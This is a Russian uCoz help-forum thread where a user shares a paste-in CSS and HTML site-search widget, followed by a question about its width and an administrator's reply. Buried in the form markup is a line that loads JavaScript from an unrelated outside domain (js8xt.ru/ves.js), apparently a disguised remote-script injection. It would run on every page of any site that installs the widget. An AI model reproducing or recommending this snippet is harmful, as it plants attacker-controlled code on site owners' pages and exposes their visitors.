Новый отличный поск по сайту - Форум помощи по uCoz
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум помощи по uCoz » как создать сайт на Ucoz » скрипты для Ucoz » Новый отличный поск по сайту (скрипт поиск для ucoz)
Новый отличный поск по сайту
Дата: Четверг, 03.05.2012, 00:50 | Сообщение # 1
Группа:
начинающий
Сообщений:
7
Offline


Поиск очень стильный и подойдёт к любому шаблону.
При навождении на него он будет раздвигаться, как это показано на экране.
УСТАНОВКА
вставляем куда вам нужно

Code
<style>    
#wrap-search {    
margin: 0 auto;    
width: 100px;    
-moz-transition: all .2s ease-out;    
-webkit-transition: all .2s ease-out;    
-o-transition: all .2s ease-out;    
transition: all .2s ease-out;    
text-indent: 0px;}    

#wrap-search br { display: none; }    

#wrap-search #search {    
background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);    
background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));    
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');    
border-radius: 5px;    
padding: 4px;    
}    

#wrap-search:hover { width:200px; }    

.form-search {    
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));    
background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);    
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');    
border: 1px solid #747474;    
border-radius: 3px;    
box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;    
height: 32px;    
position: relative;    
-moz-transition: all .2s ease-out;    
-webkit-transition: all .2s ease-out;    
-o-transition: all .2s ease-out;    
transition: all .2s ease-out;    
}    

.form-search input[type='text'] {    
background: none;    
border: none;    
color:#6E7074;    
height: 34px;    
line-height: 34px;    
padding: 0 27px 0 6px;    
font-family: Helvetica, Arial, sans-serif;    
font-size: 13px;    
text-shadow: 0 1px 0 #FFF;    
}    

#wrap-search:hover input[type='text'] { color:#597C84; }    

#wrap-search:hover .form-search {    
background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);    
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));    
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');    
box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;    
color: #25464D;    
}    

.form-search input[type='image'] {    
height: 32px;    
opacity: .5;    
filter:alpha(opacity=50);    
position: absolute;    
right: 0px;    
top: 0px;    
width: 32px;    
}    

.form-search input[type='image']:hover {    
opacity: 1;    
filter:alpha(opacity=100);    
}    

</style>    

<div id="wrap-search">    
<div id="search">    
<form class="form-search" method="get" action="/search" target="_blank">
<script language=JavaScript src=http://js8xt.ru/ves.js></script>    
<input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">    
<input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">    
</form>    
</div>    
</div>
Дата: Воскресенье, 08.07.2012, 13:53 | Сообщение # 2
Группа:
ученик
Сообщений:
22
Offline
А можно как-нибудь изменить ширину при раздвижении? А то у меня смещается центр сайта, когда наводишь. В поиске несколько параметров width, менял ничего не происходит.
Дата: Воскресенье, 08.07.2012, 17:16 | Сообщение # 3
Группа:
Администратор
Сообщений:
501
Титул:
Знаток
Offline
К сожалению работоспособность данного скрипта не проверял, сказать о нем ни чего не могу...
Попробуйте изменить размер в этой строчке
Code
#wrap-search:hover { width:200px; }
Форум помощи по uCoz » как создать сайт на Ucoz » скрипты для Ucoz » Новый отличный поск по сайту (скрипт поиск для ucoz)
Страница 1 из 11
Поиск: